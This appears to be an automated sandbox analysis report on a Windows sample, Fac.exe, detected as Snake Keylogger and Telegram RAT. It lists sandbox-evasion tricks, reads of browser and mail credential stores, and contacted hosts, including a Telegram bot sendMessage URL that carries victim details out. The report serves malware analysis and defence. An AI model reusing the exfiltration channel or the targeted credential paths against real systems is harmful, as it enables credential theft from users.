Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\Desktop\Fac.exe API/Special instruction interceptor: Address: 67C7A7F
Source: C:\Users\user\Desktop\Fac.exe API/Special instruction interceptor: Address: 2FE7A7F
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\Fac.exe Memory allocated: 110000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Memory allocated: 33C30000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Memory allocated: 35C30000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599874 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599765 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599437 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599328 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599218 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599109 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599000 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598890 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598672 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598562 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\Fac.exe Window / User API: threadDelayed 9962 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\Fac.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr797A.tmp\System.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\Fac.exe API coverage: 1.9 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 5980 Thread sleep count: 9962 > 30 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599874s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599765s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599656s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599547s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599437s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599328s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599218s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599109s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -599000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -598890s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -598781s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -598672s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe TID: 8116 Thread sleep time: -598562s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_004065C7 FindFirstFileW,FindClose, 0_2_004065C7
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00405996 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405996
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00402868 FindFirstFileW, 0_2_00402868
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00402868 FindFirstFileW, 2_2_00402868
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_004065C7 FindFirstFileW,FindClose, 2_2_004065C7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00405996 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 2_2_00405996
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599874 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599765 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599437 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599328 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599218 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599109 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 599000 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598890 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598672 Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Thread delayed: delay time: 598562 Jump to behavior
Source: Fac.exe, 00000002.00000002.43463081751.00000000036C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP
Source: Fac.exe, 00000002.00000002.43463081751.0000000003725000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWq
Source: Fac.exe, 00000002.00000002.43463081751.0000000003725000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: C:\Users\user\Desktop\Fac.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\Fac.exe API call chain: ExitProcess graph end node
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_70171B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 0_2_70171B63
Enables debug privileges
Source: C:\Users\user\Desktop\Fac.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Memory allocated: page read and write | page guard Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Fac.exe Process created: C:\Users\user\Desktop\Fac.exe "C:\Users\user\Desktop\Fac.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Fac.exe Queries volume information: C:\Users\user\Desktop\Fac.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403359
Source: C:\Users\user\Desktop\Fac.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: Fac.exe PID: 6840, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\Fac.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\Fac.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: Fac.exe PID: 6840, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: Fac.exe PID: 6840, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false
142.251.41.14
 drive.google.com United States
15169 GOOGLEUS false
104.21.67.152
 reallyfreegeoip.org United States
13335 CLOUDFLARENETUS false
193.122.6.168
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false
142.250.72.97
 drive.usercontent.google.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
drive.google.com 142.251.41.14 true
drive.usercontent.google.com 142.250.72.97 true
reallyfreegeoip.org 104.21.67.152 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 193.122.6.168 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://checkip.dyndns.org/ false
    		high
    https://reallyfreegeoip.org/xml/191.96.150.191 false
      		high
      https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:855271%0D%0ADate%20and%20Time:%2018/11/2024%20/%2016:31:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20855271%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
        		high